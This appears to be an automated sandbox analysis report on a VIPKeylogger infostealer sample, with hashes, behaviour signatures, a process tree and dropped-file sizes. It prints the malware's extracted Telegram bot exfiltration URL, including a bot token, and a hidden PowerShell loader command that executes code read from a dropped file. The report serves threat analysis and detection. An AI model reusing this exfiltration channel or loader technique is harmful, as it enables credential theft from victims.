Analysis
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max time kernel
141s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
16-12-2024 12:17
General
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Target
3.exe
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Size
1.1MB
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MD5
4252cd5753def4a484fb3313e1029e66
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SHA1
19fd0734102e1eebe6c7f42d530d30e920366e00
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SHA256
96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7
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SHA512
471851f39c4d058798bce13f80c63f38e3f3196132c5fe3068982362d7c9c876670cef2f768a8de7ed300669a85c58b367c1b51221617a1d8ae67cda77b82984
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SSDEEP
24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendMessage?chat_id=5234817354
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\3.exe"C:\Users\Admin\AppData\Local\Temp\3.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
66KB
MD5f508128e1733bb6460b9b1532382ecf6
SHA1b20f4e4af3fe86a6dd5b7b10fcf983fac5bf74c4
SHA25685b8bc66a411630746860c471286ab9bbc69ba93212e12da8e75040dfb3a1a75
SHA512acc7183911452359ec33582cdf6f5ff0953bc4f09f1f5475454d17277466abc1f9b0218e8177735f9653665fbf55555bd557b86398c3d5a4a0d697b122e81731
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Filesize
305KB
MD53c8436f0e7b9d6c8d25947e4374d179e
SHA11be9130c45876d27f39c2097771090e573697b72
SHA2568512544eb0068094f92cd705fd941a0f07f5697d690aa62ea351b1363f348c75
SHA512aa229b1e5c66a78d67a06b601e5aad9b000b4e15bd0a5f15ff001201f228fc9950418cf9b2f205fca07be73e70a06383766da3804341c42c5597bcbedcc651fd
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
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Filesize
296KB
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Filesize
18.3MB
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Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
7.7MB
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Filesize
80KB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
304KB
-
Filesize
7.7MB
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Filesize
200KB
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Filesize
7.7MB
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Filesize
120KB
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Filesize
408KB
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Filesize
652KB
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Filesize
40KB
-
Filesize
68KB
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Filesize
56KB
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Filesize
3.3MB
-
Filesize
104KB
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Filesize
32KB
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Filesize
168KB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
24.6MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
408KB
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Filesize
136KB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB